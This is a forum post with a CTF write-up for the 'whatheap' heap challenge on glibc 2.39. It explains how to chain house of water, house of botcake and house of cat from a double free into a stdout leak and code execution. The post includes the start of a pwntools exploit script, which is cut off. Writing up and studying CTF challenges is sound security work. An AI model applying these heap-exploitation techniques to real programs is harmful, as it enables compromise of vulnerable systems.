论坛首页 CTF竞赛交流区 阅读主题

[原创]华为杯whatheap

270 浏览 0 回复
#1 楼主 2026-06-01 21:09:00
一道非常有意思的堆题,glibc 2.39的堆,保护全开,并且只给了add和free,没有show和edit
使用手法:house of water,house of botcake,house of cat
个人比赛中被泄露难倒了没做出来,赛后了解到house of water这个手法后才将其复现出来,不过就算知道house of water个人感觉这道题的堆风水还是很难的因为house of water的利用条件十分苛刻,而题目中只给了double free的原语,本人知道了house of water后在堆风水的布置这一块还是想了很久。
先看题目,典型的菜单堆,只有add和free,show函数是空的,gift给的东西完全没用

free后没有清空指针有double free

add 可以申请最多0xff个chunk,每个chunk最大大小为0x888,申请chunk后会给你机会从自定义的偏移开始写入一共有3次机会 很明显这道题的重点没有办法泄露libc,我们得通过某种手段改掉stdout才能完成泄露,而在高版本中能够在无libc的情况下完成这种任务的就只有house of water了(或许还有别的只是我不知道)
house of water需要一共需要3点条件

能够申请大量的chunk,使我们能够构造出大小为0x10001的fake chunk,这点题目已经满足
在unsorted start 上的构造出一个0x20的chunk,在unsorted end的上方构造出一个0x30的chunk,并将这两个free掉
利用UAF篡改unsorted start 和 unsorted end的bk和fd指针的末字节,指向0x10001的fake chunk

关于第二点我们很容易通过house of botcake手法构造堆重叠,通过精心计算将重叠的unsorted chunk分别割出0x30和0x20大小的chunk到unsorted start和unsorted end的头上,但是那块0x20大小chunk会带来问题,可以看到在割完后我们那块重叠的chunk的chunk头在unsorted end的fd和bk的指针域上,而我们的0x20大小的chunk只能覆盖到unsorted end的chunk头,那么此时我们将无法修改unsorted end的指针域,因为由于我们需要构造一个0x20大小的chunk在unsorted end头上,那块重叠的chunk的chunk头将不可避免落到unsorted end的指针域,导致我们无法满足第三点修改unsorted end的指针域 因此我们需要使用两次house of botcake使得unsorted end与两个堆块重叠,其中一个堆块用来构造0x30和0x20大小的chunk,另一个堆块用来修改unsorted end和unsorted start的指针域,具体而言我们通过第一次house of botcake构造出一次堆重叠,此时0x820大小chunk与unsorted bin中chunk构成了重叠 我们再使用这个在unsorted bin中chunk再用一次house of botcake进行第二次堆重叠 构造完成之后如图所示0x5f98f80a56d0(0x821)与0x5f98f80a5b10(0x3e1)重叠,而0x5f98f80a5b10又与0x5f98f80a5d00(0x1f1)重叠重叠,也就是说0x5f98f80a5d00与两个堆块发生了重叠,我们unsorted start, unsorted mid, unsorted mid都要放在0x5f98f80a5d00里面,然后可以使用两个重叠的堆块,一个用来构造0x30和0x20大小的chunk,另一个用来修改unsorted end和unsorted start的指针域 剩下的就是正常的house of water,去修改stdout,泄露完之后打house of cat
from pwn import*
from LibcSearcher import*
context(log_level='debug',arch='amd64',os='linux')
io = process("./whatheap")
libc=ELF("./libc.so.6")


def add(size, content):
io.recvuntil(b"Your choice >> ")
io.sendline(b"1")
io.recvuntil("Input the size of your chunk: ")
io.sendline(str(size).encode())
io.recvuntil(b"do you want to play a game ?(1/0)")
io.sendline(b"0")
io.recvuntil(b"Input:")
io.sendline(content)
def add_offset(size, offset, content):
io.recvuntil(b"Your choice >> ")
io.sendline(b"1")
io.recvuntil("Input the size of your chunk: ")
io.sendline(str(size).encode())
io.recvuntil(b"do you want to play a game ?(1/0)")
io.sendline(b"1")
io.recvuntil(b"you can set a offset!")
io.sendline(str(offset))
io.recvuntil(b"Input: ")
io.sendline(content)

def free(index):
io.recvuntil(b"Your choice >> ")
io.sendline(b"2")
io.recvuntil(b"idx:")
io.sendline(str(index).encode())

def new_add(size, content):
io.recvuntil(b"Your choice >> ")
io.sendline(b"1")
io.recvuntil("Input the size of your chunk: ")
io.sendline(str(size).encode())
io.recvuntil(b"Input:")
io.sendline(content)

add(0x3d8, b"a") # 0
add(0x3e8, b"a") # 1
free(0)
free(1)
for i in range(7): #1 + 7
add(0x400, b"a")
ad

...(已截断)

---
来源: 看雪论坛
原文链接: https://bbs.kanxue.com/thread-290316.htm

暂无回复,快来抢沙发吧!

请登录后参与讨论

立即登录 注册账号